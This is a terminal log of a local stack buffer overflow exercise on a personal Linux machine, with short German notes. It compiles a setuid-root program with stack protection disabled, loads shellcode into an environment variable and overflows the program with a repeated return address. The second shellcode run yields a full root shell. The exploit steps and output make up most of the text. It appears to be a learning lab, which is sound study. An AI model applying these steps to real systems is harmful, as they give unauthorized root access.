root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# gcc -g -fno-stack-protector -z execstack -o drop_privs drop_privs.c
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# sudo chown root ./drop_privs; sudo chmod u+s ./drop_privs
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# export SHELLCODE=$(cat tiny_shell)
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./getenvaddr SHELLCODE ./drop_privs
SHELLCODE will be at 0xbffff8d8
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./drop_privs $(perl -e 'print "\xff\xbf\xd8\xf8"x20')
$ who
tomovic tty7 Aug 20 20:14 (:0)
$ id
uid=0(root) gid=0(root) euid=5(games) groups=60(games),0(root)
$ ls
ls: cannot open directory .: Permission denied
$ exit
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack#
1.Man Sieht deutlich, dass Ihr die Rechte heruntergestuft werden.
2.Ihr braucht 2 Dummy Byte's ODER verdreht die ersten 2 Byte's
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# nasm priv_shell.s
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# export SHELLCODE=$(cat priv_shell)
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./getenvaddr SHELLCODE ./drop_privs
SHELLCODE will be at 0xbffff8cc
root@tomovic-Satellite-L300:/home/tomovic/Dokumente/hack# ./drop_privs $(perl -e 'print "\xff\xbf\xcc\xf8"x20')
# who
tomovic tty7 Aug 20 20:14 (:0)
# id
uid=0(root) gid=0(root) groups=0(root)
# ls
a connectback_shell fcntl_flags.c helloworld3 pointer_types3.c commandline.c expolit_buffer helloworld2.s pointer_types2.c stack_example.c
#
1.Da wird deutlich gemacht, dass die Rechte heruntergestuft werden und dann wieder hoch.
2.Ihr braucht 2 Dummy Byte's ODER verdreht die ersten 2 Byte's